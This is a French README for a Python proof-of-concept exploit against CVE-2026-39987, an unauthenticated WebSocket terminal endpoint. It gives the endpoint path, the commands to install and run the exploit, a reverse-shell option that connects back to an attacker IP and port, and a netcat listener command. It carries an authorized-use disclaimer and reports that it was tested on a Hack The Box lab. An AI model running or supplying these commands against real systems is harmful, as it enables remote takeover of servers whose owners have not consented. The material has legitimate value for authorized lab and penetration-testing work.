
Preuve de concept en Python pour CVE-2026-39987, exploitant un point de terminaison WebSocket non authentifié pour obtenir une exécution de commandes à distance et un accès par reverse shell.
Preuve de concept pour CVE-2026-39987, démontrant l'exécution de commandes à distance via le point de terminaison de terminal WebSocket vulnérable.
Avertissement : Ce PoC est destiné uniquement à des tests de sécurité autorisés et à un usage éducatif. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.
La vulnérabilité permet à un utilisateur non authentifié d'interagir avec le point de terminaison de terminal WebSocket de l'application et d'exécuter des commandes à distance.
Le PoC se connecte à :
wss://<target>/terminal/ws
et démontre l'exécution de commandes via la connexion WebSocket.
La cible utilisée lors du développement/test de ce PoC était un environnement de laboratoire Hack The Box autorisé.
websocket-clientInstallez la bibliothèque requise :
pip3 install websocket-client
python3 test.py <domain>
Exemple :
python3 test.py somesite.com
Le PoC établit la connexion WebSocket et exécute une commande de test.
Le PoC prend également en charge une option reverse-shell :
python3 exploit.py <domain> --reverse-shell <IP> --port <PORT>
Exemple :
python3 exploit.py somesite.com --reverse-shell 10.10.14.5 --port 4444
Démarrez l'écouteur avant d'exécuter le PoC :
nc -lvnp 4444
L'application expose un point de terminaison de terminal WebSocket sans exiger d'authentification.
Le PoC :
Le ws.recv() initial est important car le serveur envoie l'invite du shell immédiatement après l'établissement de la connexion.